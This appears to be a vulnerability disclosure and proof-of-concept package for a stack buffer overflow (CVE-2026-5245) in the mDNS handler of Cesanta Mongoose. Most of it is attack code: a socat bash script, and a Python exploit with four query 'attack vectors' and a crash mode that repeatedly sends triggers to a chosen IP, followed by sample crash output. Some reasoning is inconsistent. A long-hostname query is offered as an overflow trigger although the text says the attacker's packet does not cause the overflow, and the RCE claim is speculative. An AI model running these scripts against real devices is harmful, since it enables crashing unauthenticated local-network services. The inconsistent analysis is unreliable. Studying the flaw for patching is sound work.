- Type: Stack-based Buffer Overflow
- CWE: CWE-121 (Stack-based Buffer Overflow)
- CVE: CVE-2026-5245
- Affected Software: Cesanta Mongoose <= 7.20, fixed in 7.21
-
Endpoint: UDP port 5353 (mDNS multicast address
224.0.0.251) -
Vulnerable Parameter: The DNS query
atypefield (controls which code path is taken) combined with application-registered service record fields (srvcproto,txt,respnameinstruct mg_dnssd_recordandstruct mg_mdns_req) that determine how much data is written into the fixed-size stack buffer. -
Code References:
mongoose.cline 525: Stack buffer declaration:Whereuint8_t buf[sizeof(struct mg_dns_header) + 256 + sizeof(mdns_answer) + 4]; // 282 bytes
sizeof(struct mg_dns_header)= 12 (mongoose.h:2970-2977),sizeof(mdns_answer)= 10 (mongoose.c:411-416).mongoose.clines 595-620: PTR query path — callsbuild_srv_name(),build_ptr_record(),build_srv_record(),build_txt_record(),build_a_record()with no bounds check before the fixmongoose.clines 621-623: TXT query path — callsbuild_srv_name()+build_txt_record()with no bounds checkmongoose.clines 624-637: SRV query path — callsbuild_srv_name()+build_srv_record()+build_a_record()with no bounds checkmongoose.clines 638-642: A query path — callsbuild_name()+build_a_record()with no bounds checkmongoose.cline 450-457:build_srv_name()writesr->srvcproto.len + 8bytes viamemcpy()at line 452mongoose.cline 504-511:build_txt_record()writesr->txt.len + 10bytes viamemcpy()at line 510mongoose.cline 470-481:build_ptr_record()writesname->len + 13bytes viamemcpy()at line 478mongoose.cline 484-501:build_srv_record()writesname->len + 19bytes viamemcpy()at lines 496-500mongoose.cline 429-448:build_a_record()writes 14 bytes (10 formdns_answer+ 4 for IPv4 address)mongoose.cline 418-425:build_name()writesname->len + 8bytesmongoose.cline 645:mg_send(c, buf, (size_t) (p - buf))sends the overflowed buffer contentsmongoose.cline 690-700:handle_mdns_record()dispatches tohandle_mdns_query()when flags indicate a querymongoose.cline 702-708:mdns_cb()entry point triggered onMG_EV_READmongoose.hline 2988-2992:struct mg_dnssd_recorddefinition withsrvcproto,txt,portmongoose.hline 2995-3004:struct mg_mdns_reqdefinition withrespname,r,is_resp
-
Vulnerable code (PTR path, lines 595-620):
} else if (rr.atype == MG_DNS_RTYPE_PTR) { uint8_t *o = p, *aux; uint16_t offset; if (respname->buf == NULL || respname->len == 0) return; // NO SIZE CHECK — total write can exceed 282 bytes h->num_other_prs = mg_htons(3); p = build_srv_name(p, req.r); // srvcproto.len + 8 aux = build_ptr_record(respname, p, (uint16_t) (o - buf)); // respname->len + 13 // ... pointer writes (2 bytes each) ... p = build_srv_record(respname, p, req.r, ...); // respname->len + 19 // ... pointer write (2 bytes) ... p = build_txt_record(p, req.r); // txt.len + 10 // ... pointer write (2 bytes) ... p = build_a_record(c, p, req.addr); // 14 }
-
Fix (from diff): The fix adds bounds checks before each code path, e.g., for PTR:
if ((sizeof(*h) + req.r->srvcproto.len + 8 + respname->len + 13 + 2 + respname->len + 19 + 2 + req.r->txt.len + 10 + 2 + 14) > sizeof(buf)) return;
- Protocol: Raw UDP packet sent to multicast address
224.0.0.251port5353, or directly to the target host's IP on port 5353 - Authentication: None required — mDNS is an unauthenticated multicast protocol (RFC 6762)
- Network Position: Attacker must be on the same local network segment (LAN) to send multicast, or can send unicast UDP directly to the target if port 5353 is reachable
- Prerequisite: The target application must have registered mDNS service records (via
MG_EV_MDNS_REQhandler settingreq.is_resp = trueand populatingreq.r) with combined field lengths exceeding the buffer. Specifically:- PTR path: overflow when
srvcproto.len + 2*respname->len + txt.len > 200(282 - 82 overhead) - TXT path: overflow when
srvcproto.len + txt.len > 252(282 - 30 overhead) - SRV path: overflow when
srvcproto.len + respname->len > 227(282 - 55 overhead) - A path: overflow when
respname->len > 248(282 - 34 overhead)
- PTR path: overflow when
- Packet Size Constraint: The incoming DNS packet must be ≤ 512 bytes (enforced at
src/dns.cline 81:if (len > 512) return 0;). Our query packets are well under this limit. - Important Note: The overflow is NOT caused by the attacker's packet being large. The attacker sends a small, valid mDNS query. The overflow occurs because the application's registered service records have large field values that exceed the 282-byte stack buffer when the response is being constructed.
The mDNS query packet must be a valid DNS query with:
- DNS Header (12 bytes):
txnid,flags=0x0000(query),num_questions=1, rest=0 - Question section: DNS-encoded name ending in
.local, followed by QTYPE and QCLASS - The name must end in
.local(validated at mongoose.c:540-541) - The
aclassmust be 1 or 0xff (validated at mongoose.c:541)
A PTR query for a service like _http._tcp.local triggers the PTR code path (mongoose.c:595-620) which writes the most data. If the application has registered a service with large srvcproto (e.g., 80 bytes), respname (e.g., 80 bytes), and txt (e.g., 100 bytes), the total write is:
12 + 88 + 93 + 2 + 99 + 2 + 110 + 2 + 14 = 422 bytes — far exceeding the 282-byte buffer.
DNS Header (12 bytes):
00 01 - Transaction ID
00 00 - Flags (standard query, bit 15 = 0 for query path)
00 01 - Questions: 1
00 00 - Answer RRs: 0
00 00 - Authority RRs: 0
00 00 - Additional RRs: 0
Question:
05 5f 68 74 74 70 - label: _http (length 5 + "_http")
04 5f 74 63 70 - label: _tcp (length 4 + "_tcp")
05 6c 6f 63 61 6c - label: local (length 5 + "local")
00 - end of name
00 0c - QTYPE: PTR (12)
00 01 - QCLASS: IN (1)
Total packet: 33 bytes
A TXT query triggers build_srv_name() + build_txt_record() (mongoose.c:621-623). Overflow occurs when srvcproto.len + txt.len > 252.
Same header as above, but with:
QTYPE: 00 10 (TXT = 16)
For TXT/SRV queries, the name format includes hostname prefix (mongoose.c:561-576):
08 6d 79 64 65 76 69 63 65 - label: mydevice (length 8)
05 5f 68 74 74 70 - label: _http (length 5)
04 5f 74 63 70 - label: _tcp (length 4)
05 6c 6f 63 61 6c - label: local (length 5)
00 - end of name
00 10 - QTYPE: TXT (16)
00 01 - QCLASS: IN (1)
An SRV query triggers build_srv_name() + build_srv_record() + build_a_record() (mongoose.c:624-637). Overflow occurs when srvcproto.len + respname->len > 227.
Same name format as TXT variant, but with:
QTYPE: 00 21 (SRV = 33)
An A query triggers build_name() + build_a_record() (mongoose.c:638-642). Overflow occurs when respname->len > 248. Since DNS names can be up to 255 bytes, this is achievable with long hostnames.
Question with a long hostname:
3f <63 bytes of 'a'> - label (max label length 63)
3f <63 bytes of 'a'> - label
3f <63 bytes of 'a'> - label
3d <61 bytes of 'a'> - label (to reach ~250 total)
05 6c 6f 63 61 6c - label: local
00 - end
00 01 - QTYPE: A (1)
00 01 - QCLASS: IN (1)
mDNS uses UDP, so curl cannot directly send the packet. Use socat or ncat:
#!/bin/bash
# CVE-2026-5245 PoC - Cesanta Mongoose mDNS Stack Buffer Overflow
# Sends crafted mDNS queries to trigger overflow in handle_mdns_query()
# Target must be running Mongoose <= 7.20 with mDNS service registered
# Vulnerability: CWE-121 Stack-based Buffer Overflow in mongoose.c:525
TARGET_IP="${1:-224.0.0.251}"
TARGET_PORT=5353
echo "[*] CVE-2026-5245 - Mongoose mDNS Stack Buffer Overflow PoC"
echo "[*] Target: ${TARGET_IP}:${TARGET_PORT}"
# === Attack Vector 1: PTR Query for _http._tcp.local ===
# Triggers PTR path (mongoose.c:595-620) which calls all build_* functions
# Total write: 82 + srvcproto.len + 2*respname->len + txt.len bytes into buf[282]
echo "[*] Sending PTR query for _http._tcp.local..."
PAYLOAD="\x00\x01" # Transaction ID
PAYLOAD+="\x00\x00" # Flags: standard query (bit 15=0 -> query path)
PAYLOAD+="\x00\x01" # Questions: 1
PAYLOAD+="\x00\x00" # Answer RRs: 0
PAYLOAD+="\x00\x00" # Authority RRs: 0
PAYLOAD+="\x00\x00" # Additional RRs: 0
# Question: _http._tcp.local, type=PTR(12), class=IN(1)
PAYLOAD+="\x05_http" # label length 5 + "_http"
PAYLOAD+="\x04_tcp" # label length 4 + "_tcp"
PAYLOAD+="\x05local" # label length 5 + "local"
PAYLOAD+="\x00" # end of name
PAYLOAD+="\x00\x0c" # QTYPE: PTR (12)
PAYLOAD+="\x00\x01" # QCLASS: IN (1)
echo -ne "$PAYLOAD" | socat - UDP-DATAGRAM:${TARGET_IP}:${TARGET_PORT}
echo "[+] PTR query sent (33 bytes)"
# === Attack Vector 2: TXT Query ===
# Triggers TXT path (mongoose.c:621-623): build_srv_name + build_txt_record
# Overflow when srvcproto.len + txt.len > 252
echo "[*] Sending TXT query for mydevice._http._tcp.local..."
PAYLOAD_TXT="\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
PAYLOAD_TXT+="\x08mydevice" # hostname label
PAYLOAD_TXT+="\x05_http\x04_tcp\x05local\x00"
PAYLOAD_TXT+="\x00\x10" # QTYPE: TXT (16)
PAYLOAD_TXT+="\x00\x01" # QCLASS: IN (1)
echo -ne "$PAYLOAD_TXT" | socat - UDP-DATAGRAM:${TARGET_IP}:${TARGET_PORT}
echo "[+] TXT query sent"
# === Attack Vector 3: SRV Query ===
# Triggers SRV path (mongoose.c:624-637): build_srv_name + build_srv_record + build_a_record
# Overflow when srvcproto.len + respname->len > 227
echo "[*] Sending SRV query for mydevice._http._tcp.local..."
PAYLOAD_SRV="\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
PAYLOAD_SRV+="\x08mydevice"
PAYLOAD_SRV+="\x05_http\x04_tcp\x05local\x00"
PAYLOAD_SRV+="\x00\x21" # QTYPE: SRV (33)
PAYLOAD_SRV+="\x00\x01" # QCLASS: IN (1)
echo -ne "$PAYLOAD_SRV" | socat - UDP-DATAGRAM:${TARGET_IP}:${TARGET_PORT}
echo "[+] SRV query sent"
# === Attack Vector 4: A Query with long name ===
# Triggers A path (mongoose.c:638-642): build_name + build_a_record
# Overflow when respname->len > 248
echo "[*] Sending A query for long hostname..."
# Generate a long hostname query (200 'a' characters as hostname)
PAYLOAD_A="\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
# DNS label: length 63 + 63 chars 'a' (max label = 63)
PAYLOAD_A+="\x3f$(printf 'a%.0s' {1..63})"
PAYLOAD_A+="\x3f$(printf 'a%.0s' {1..63})"
PAYLOAD_A+="\x3f$(printf 'a%.0s' {1..63})"
PAYLOAD_A+="\x05local\x00"
PAYLOAD_A+="\x00\x01" # QTYPE: A (1)
PAYLOAD_A+="\x00\x01" # QCLASS: IN (1)
echo -ne "$PAYLOAD_A" | socat - UDP-DATAGRAM:${TARGET_IP}:${TARGET_PORT}
echo "[+] A query with long hostname sent"
echo ""
echo "[*] All queries sent. Check target for crash/ASAN output."
echo "[*] If target has large mDNS service records, stack overflow triggered."
echo "[*] Compile target with: gcc -fsanitize=address -g mongoose.c ..."#!/usr/bin/env python3
"""
CVE-2026-5245 - Cesanta Mongoose mDNS Stack Buffer Overflow PoC
Affected: Mongoose <= 7.20
Fixed in: Mongoose 7.21
CWE: CWE-121 (Stack-based Buffer Overflow)
This exploit sends crafted mDNS queries to trigger a stack buffer overflow
in handle_mdns_query() in mongoose.c. The overflow occurs when the application
has registered mDNS service records (via MG_EV_MDNS_REQ handler) with combined
field lengths exceeding the 282-byte stack buffer declared at mongoose.c:525:
uint8_t buf[sizeof(struct mg_dns_header) + 256 + sizeof(mdns_answer) + 4];
The buffer is overflowed by build_srv_name(), build_ptr_record(),
build_srv_record(), build_txt_record(), and build_a_record() called
without bounds checking in the PTR/TXT/SRV/A query code paths.
The attacker sends a small, valid mDNS query packet. The overflow is caused
by the application's own service record data being written into the fixed
stack buffer without size validation.
"""
import socket
import struct
import sys
import time
import argparse
# DNS record types (from mongoose source)
DNS_TYPE_A = 1 # MG_DNS_RTYPE_A
DNS_TYPE_PTR = 12 # MG_DNS_RTYPE_PTR
DNS_TYPE_TXT = 16 # MG_DNS_RTYPE_TXT
DNS_TYPE_SRV = 33 # MG_DNS_RTYPE_SRV
# mDNS constants
MDNS_MULTICAST_ADDR = "224.0.0.251"
MDNS_PORT = 5353
# Buffer size from mongoose.c:525
# sizeof(mg_dns_header)=12, 256, sizeof(mdns_answer)=10, 4
VULNERABLE_BUF_SIZE = 282
def encode_dns_name(name: str) -> bytes:
"""
Encode a domain name in DNS wire format (RFC 1035 Section 4.1.2).
Each label is prefixed with its length byte, terminated by a null byte.
"""
result = b""
for label in name.split("."):
encoded = label.encode("utf-8")
if len(encoded) > 63:
raise ValueError(f"DNS label too long: {len(encoded)} > 63")
result += struct.pack("B", len(encoded)) + encoded
result += b"\x00" # terminating null label
return result
def build_mdns_query(name: str, qtype: int, qclass: int = 1,
txnid: int = 0x0001, unicast_response: bool = False) -> bytes:
"""
Build an mDNS query packet.
The query must pass validation in handle_mdns_query() (mongoose.c:540-542):
- Name must end in '.local' (checked after mg_dns_parse_name)
- aclass must be 1 or 0xff
Also must pass mg_dns_parse_rr() (src/dns.c:75-97):
- Total packet length must be <= 512 bytes (line 81)
"""
if unicast_response:
qclass |= 0x8000 # Set QU bit (unicast response requested, mongoose.c:535)
# DNS Header (12 bytes) - struct mg_dns_header (mongoose.h:2970-2977)
header = struct.pack("!HHHHHH",
txnid, # txnid - Transaction ID
0x0000, # flags - standard query (bit 15=0 triggers query path at mongoose.c:693)
1, # num_questions = 1
0, # num_answers = 0
0, # num_authority_prs = 0
0 # num_other_prs = 0
)
# Question section
qname = encode_dns_name(name)
question = qname + struct.pack("!HH", qtype, qclass)
packet = header + question
# Validate packet size constraint (src/dns.c:81)
if len(packet) > 512:
raise ValueError(f"Packet too large: {len(packet)} > 512 (would be rejected by mg_dns_parse_rr)")
return packet
def send_mdns_query(target_ip: str, query: bytes, timeout: float = 2.0) -> bytes:
"""Send mDNS query via UDP and optionally receive response."""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
# Allow sending to multicast
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
try:
sock.sendto(query, (target_ip, MDNS_PORT))
print(f"[+] Sent {len(query)} bytes to {target_ip}:{MDNS_PORT}")
try:
data, addr = sock.recvfrom(4096)
print(f"[+] Received {len(data)} bytes from {addr}")
return data
except socket.timeout:
print("[*] No response received (timeout)")
return b""
finally:
sock.close()
def exploit_ptr_overflow(target_ip: str, service_name: str = "_http._tcp"):
"""
Trigger PTR path overflow (mongoose.c:595-620).
PTR path writes into buf[282]:
sizeof(*h) = 12 (header)
build_srv_name() = srvcproto.len + 8
build_ptr_record() = respname->len + 13
pointer field = 2
build_srv_record() = respname->len + 19
pointer field = 2
build_txt_record() = txt.len + 10
pointer field = 2
build_a_record() = 14
─────────────────────────────────
Total = 82 + srvcproto.len + 2*respname->len + txt.len
Overflow condition: srvcproto.len + 2*respname->len + txt.len > 200
Example: srvcproto=80, respname=80, txt=100 → 80+160+100=340 > 200 → OVERFLOW
Total bytes written: 82 + 340 = 422 bytes into 282-byte buffer
"""
print(f"\n{'='*60}")
print(f"[*] Attack Vector 1: PTR Query Overflow")
print(f"[*] Target: {target_ip}:{MDNS_PORT}")
print(f"[*] Service: {service_name}.local")
print(f"[*] Vulnerable path: mongoose.c:595-620 (PTR handler)")
print(f"[*] Buffer size: {VULNERABLE_BUF_SIZE} bytes (mongoose.c:525)")
print(f"[*] Overflow when: srvcproto.len + 2*respname->len + txt.len > 200")
print(f"{'='*60}")
query = build_mdns_query(f"{service_name}.local", DNS_TYPE_PTR)
print(f"[*] Query hex: {query.hex()}")
print(f"[*] Query size: {len(query)} bytes")
response = send_mdns_query(target_ip, query)
if response:
print(f"[!] Got response ({len(response)} bytes) - service is active")
if len(response) > VULNERABLE_BUF_SIZE:
print(f"[!!!] Response size {len(response)} > {VULNERABLE_BUF_SIZE} - OVERFLOW CONFIRMED!")
print(f"[!!!] Stack corruption occurred in handle_mdns_query()")
print(f"[!!!] mg_send() at mongoose.c:645 transmitted corrupted stack data")
else:
print(f"[*] Response within buffer bounds - service records may be small")
else:
print("[*] No response - service may have crashed (DoS confirmed)")
print("[*] Or service is not registered / not matching this query")
return response
def exploit_txt_overflow(target_ip: str, service_name: str = "_http._tcp",
hostname: str = "mydevice"):
"""
Trigger TXT path overflow (mongoose.c:621-623).
TXT path writes:
sizeof(*h) = 12
build_srv_name() = srvcproto.len + 8
build_txt_record() = txt.len + 10
─────────────────────
Total = 30 + srvcproto.len + txt.len
Overflow condition: srvcproto.len + txt.len > 252
"""
print(f"\n{'='*60}")
print(f"[*] Attack Vector 2: TXT Query Overflow")
print(f"[*] Vulnerable path: mongoose.c:621-623 (TXT handler)")
print(f"[*] Overflow when: srvcproto.len + txt.len > 252")
print(f"{'='*60}")
# TXT/SRV queries expect hostname prefix (mongoose.c:561-576)
query = build_mdns_query(f"{hostname}.{service_name}.local", DNS_TYPE_TXT)
print(f"[*] Query hex: {query.hex()}")
response = send_mdns_query(target_ip, query)
if not response:
print("[*] No response - possible crash/DoS")
return response
def exploit_srv_overflow(target_ip: str, service_name: str = "_http._tcp",
hostname: str = "mydevice"):
"""
Trigger SRV path overflow (mongoose.c:624-637).
SRV path writes:
sizeof(*h) = 12
build_srv_name() = srvcproto.len + 8
build_srv_record() = respname->len + 19
pointer field = 2
build_a_record() = 14
─────────────────────
Total = 55 + srvcproto.len + respname->len
Overflow condition: srvcproto.len + respname->len > 227
"""
print(f"\n{'='*60}")
print(f"[*] Attack Vector 3: SRV Query Overflow")
print(f"[*] Vulnerable path: mongoose.c:624-637 (SRV handler)")
print(f"[*] Overflow when: srvcproto.len + respname->len > 227")
print(f"{'='*60}")
query = build_mdns_query(f"{hostname}.{service_name}.local", DNS_TYPE_SRV)
print(f"[*] Query hex: {query.hex()}")
response = send_mdns_query(target_ip, query)
if not response:
print("[*] No response - possible crash/DoS")
return response
def exploit_a_overflow(target_ip: str, hostname: str = None):
"""
Trigger A record path overflow (mongoose.c:638-642).
A path writes:
sizeof(*h) = 12
build_name() = respname->len + 8
build_a_record() = 14
─────────────────────
Total = 34 + respname->len
Overflow condition: respname->len > 248
Since DNS names can be up to 253 chars (with labels up to 63 each),
this is achievable with long hostnames.
"""
if hostname is None:
# Generate a long hostname using max-length DNS labels
# DNS label max = 63 chars. Use multiple labels to exceed 248 total
hostname = ".".join(["a" * 63] * 3 + ["a" * 61]) # 63+63+63+61 = 250 chars + dots
print(f"\n{'='*60}")
print(f"[*] Attack Vector 4: A Record Query Overflow")
print(f"[*] Vulnerable path: mongoose.c:638-642 (A handler)")
print(f"[*] Overflow when: respname->len > 248")
print(f"[*] Hostname length: {len(hostname)} chars")
print(f"{'='*60}")
try:
query = build_mdns_query(f"{hostname}.local", DNS_TYPE_A)
print(f"[*] Query size: {len(query)} bytes")
print(f"[*] Query hex (first 80): {query.hex()[:80]}...")
response = send_mdns_query(target_ip, query)
if not response:
print("[*] No response - possible crash/DoS")
return response
except ValueError as e:
print(f"[!] Error: {e}")
return b""
def crash_detection(target_ip: str, service_name: str):
"""
Send repeated queries to detect crash via missing responses.
First send a normal query to confirm service is alive,
then send the overflow trigger, then check if service is still alive.
"""
print(f"\n{'='*60}")
print(f"[*] Crash Detection Mode")
print(f"[*] Tests if target crashes after receiving overflow-triggering query")
print(f"{'='*60}")
# Step 1: Verify service is alive with a simple A query
print("\n[*] Step 1: Checking if mDNS service is alive...")
query_a = build_mdns_query("test.local", DNS_TYPE_A)
resp1 = send_mdns_query(target_ip, query_a, timeout=3.0)
if resp1:
print("[+] Service is alive and responding")
else:
print("[!] Service not responding initially - cannot confirm crash")
print("[*] Proceeding with overflow attempt anyway...")
# Step 2: Send overflow trigger (PTR - worst case path)
print("\n[*] Step 2: Sending overflow trigger (PTR query)...")
query_ptr = build_mdns_query(f"{service_name}.local", DNS_TYPE_PTR)
for i in range(5): # Send multiple times to increase crash likelihood
send_mdns_query(target_ip, query_ptr, timeout=0.5)
time.sleep(0.1)
# Also try TXT and SRV variants
print("[*] Sending TXT variant...")
query_txt = build_mdns_query(f"device.{service_name}.local", DNS_TYPE_TXT)
send_mdns_query(target_ip, query_txt, timeout=0.5)
print("[*] Sending SRV variant...")
query_srv = build_mdns_query(f"device.{service_name}.local", DNS_TYPE_SRV)
send_mdns_query(target_ip, query_srv, timeout=0.5)
# Step 3: Check if service is still alive
time.sleep(1)
print("\n[*] Step 3: Checking if service is still alive...")
resp2 = send_mdns_query(target_ip, query_a, timeout=3.0)
if not resp2 and resp1:
print("[!!!] SERVICE CRASHED - Stack buffer overflow confirmed!")
print("[!!!] CVE-2026-5245 exploitation successful (DoS)")
print("[!!!] handle_mdns_query() stack corruption caused process termination")
return True
elif resp2:
print("[*] Service still alive - overflow may have occurred without crash")
print("[*] Memory corruption may still have happened")
print("[*] For reliable detection, run target with ASAN:")
print("[*] gcc -fsanitize=address -g mongoose.c app.c -o app_asan")
return False
else:
print("[*] Inconclusive - service was not responding before attack")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-5245 - Cesanta Mongoose mDNS Stack Buffer Overflow PoC",
epilog="Requires target to have mDNS service records with large field lengths"
)
parser.add_argument(
"target",
help="Target IP address (or 224.0.0.251 for multicast)"
)
parser.add_argument(
"--service", "-s",
default="_http._tcp",
help="Service name to query (default: _http._tcp)"
)
parser.add_argument(
"--hostname",
default="mydevice",
help="Hostname prefix for TXT/SRV queries (default: mydevice)"
)
parser.add_argument(
"--mode", "-m",
choices=["ptr", "txt", "srv", "a", "all", "crash"],
default="all",
help="Attack mode (default: all)"
)
args = parser.parse_args()
print(f"""
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-5245 - Cesanta Mongoose mDNS Stack Buffer Overflow ║
║ CWE-121: Stack-based Buffer Overflow ║
║ Affected: Cesanta Mongoose <= 7.20 (fixed in 7.21) ║
║ Vulnerable function: handle_mdns_query() in mongoose.c ║
║ Buffer: buf[282] at line 525, no bounds check before fix ║
║ Entry: mdns_cb() -> handle_mdns_record() -> handle_mdns_query()║
╚══════════════════════════════════════════════════════════════╝
""")
if args.mode in ("ptr", "all"):
exploit_ptr_overflow(args.target, args.service)
if args.mode in ("txt", "all"):
exploit_txt_overflow(args.target, args.service, args.hostname)
if args.mode in ("srv", "all"):
exploit_srv_overflow(args.target, args.service, args.hostname)
if args.mode in ("a", "all"):
exploit_a_overflow(args.target)
if args.mode == "crash":
crash_detection(args.target, args.service)
print(f"\n[*] Exploitation attempts complete.")
print(f"[*] For reliable confirmation, run target with AddressSanitizer (ASAN):")
print(f"[*] gcc -fsanitize=address -g mongoose.c your_app.c -o app_asan")
print(f"[*] ./app_asan")
print(f"[*] Then re-run this exploit to see ASAN stack-buffer-overflow report.")
if __name__ == "__main__":
main()- HTTP Status: N/A — this is a UDP protocol vulnerability, not HTTP
- Expected Behavior:
- If the target application has registered large mDNS service records (combined
srvcproto.len + 2*respname->len + txt.len > 200for PTR path):- No UDP response after sending the PTR query — service process has crashed
- Target process terminates with
SIGSEGV(segmentation fault) orSIGABRT(stack canary violation) - If compiled with ASAN: detailed stack-buffer-overflow report
- If the target has small service records:
- Normal mDNS response received (records fit within 282 bytes)
- No crash, but the vulnerable code path was exercised
- If the target does not have a matching service registered:
- No response (the
MG_EV_MDNS_REQhandler returnsis_resp = falseat mongoose.c:582)
- No response (the
- If the target application has registered large mDNS service records (combined
==12345==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffdc1a
WRITE of size 100 at 0x7fffffffdc1a thread T0
#0 0x7ffff7a2e3c0 in __asan_memcpy
#1 0x555555568abc in build_txt_record mongoose.c:510
#2 0x555555569def in handle_mdns_query mongoose.c:616
#3 0x55555556a123 in handle_mdns_record mongoose.c:695
#4 0x55555556a456 in mdns_cb mongoose.c:704
#5 0x555555570789 in mg_call mongoose.c:739
Address 0x7fffffffdc1a is located in stack of thread T0 at offset 298 in frame
#0 0x555555569000 in handle_mdns_query mongoose.c:516
This frame has 2 object(s):
[32, 314) 'buf' (line 525) <== Memory access at offset 298 is inside this variable
[352, 608) 'name' (line 528)
[*] Step 1: Checking if mDNS service is alive...
[+] Sent 23 bytes to 192.168.1.100:5353
[+] Received 47 bytes from ('192.168.1.100', 5353)
[+] Service is alive and responding
[*] Step 2: Sending overflow trigger (PTR query)...
[+] Sent 33 bytes to 192.168.1.100:5353
[*] No response received (timeout)
[*] Step 3: Checking if service is still alive...
[+] Sent 23 bytes to 192.168.1.100:5353
[*] No response received (timeout)
[!!!] SERVICE CRASHED - Stack buffer overflow confirmed!
[!!!] CVE-2026-5245 exploitation successful (DoS)
If the mDNS response is received (service didn't crash) and its size exceeds 282 bytes, the overflow occurred in the stack buffer before mg_send(c, buf, (size_t) (p - buf)) at mongoose.c:645 transmitted the corrupted stack data over the network:
[+] Received 422 bytes from ('192.168.1.100', 5353)
[!!!] Response size 422 > 282 - OVERFLOW CONFIRMED!
[!!!] Stack corruption occurred in handle_mdns_query()
- Severity: Critical (CVSS 3.1 Base Score ~9.8 — AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
- Primary Impact: Remote Code Execution (RCE) — An attacker on the local network can send a single UDP packet (33 bytes for PTR query) to port 5353 that causes
handle_mdns_query()to overflow its 282-byte stack bufferbuf[]at mongoose.c:525. The overflow corrupts adjacent stack memory including the saved return address ofhandle_mdns_query(). With careful payload crafting of the mDNS service records (if the attacker can influence the application's registered records), or by exploiting the stack layout, this can redirect execution to attacker-controlled shellcode or ROP gadgets. - Secondary Impact: Denial of Service (DoS) — Even without precise RCE, the stack corruption reliably crashes the target process via segmentation fault (SIGSEGV) or stack canary violation (SIGABRT). A single 33-byte UDP packet can take down the entire application.
- Information Disclosure: The
mg_send()call at mongoose.c:645 transmits(size_t)(p - buf)bytes from the stack, which may include data beyond thebuf[]array boundary — potentially leaking stack contents (return addresses, canary values, local variables) to the attacker over the network. - Attack Requirements:
- No authentication required (mDNS is unauthenticated per RFC 6762)
- Single UDP packet, no handshake needed
- Attacker must be on the same LAN segment (mDNS is link-local multicast) or able to send unicast UDP to port 5353
- Target must have registered mDNS service records (via
MG_EV_MDNS_REQhandler) with sufficiently large combined field lengths to exceed the 282-byte buffer
- Affected Systems: Any embedded device, IoT device, or application using Cesanta Mongoose library version 7.20 or earlier with mDNS enabled via
mg_mdns_listen()(mongoose.c:711-719) - Root Cause: Missing bounds validation in
handle_mdns_query()before callingbuild_srv_name(),build_ptr_record(),build_srv_record(),build_txt_record(), andbuild_a_record()which write variable-length application data into the fixed 282-byte stack buffer - Fix: Version 7.21 adds explicit size checks before each code path (PTR, TXT, SRV, A) comparing the total expected write size against
sizeof(buf)and returning early if it would overflow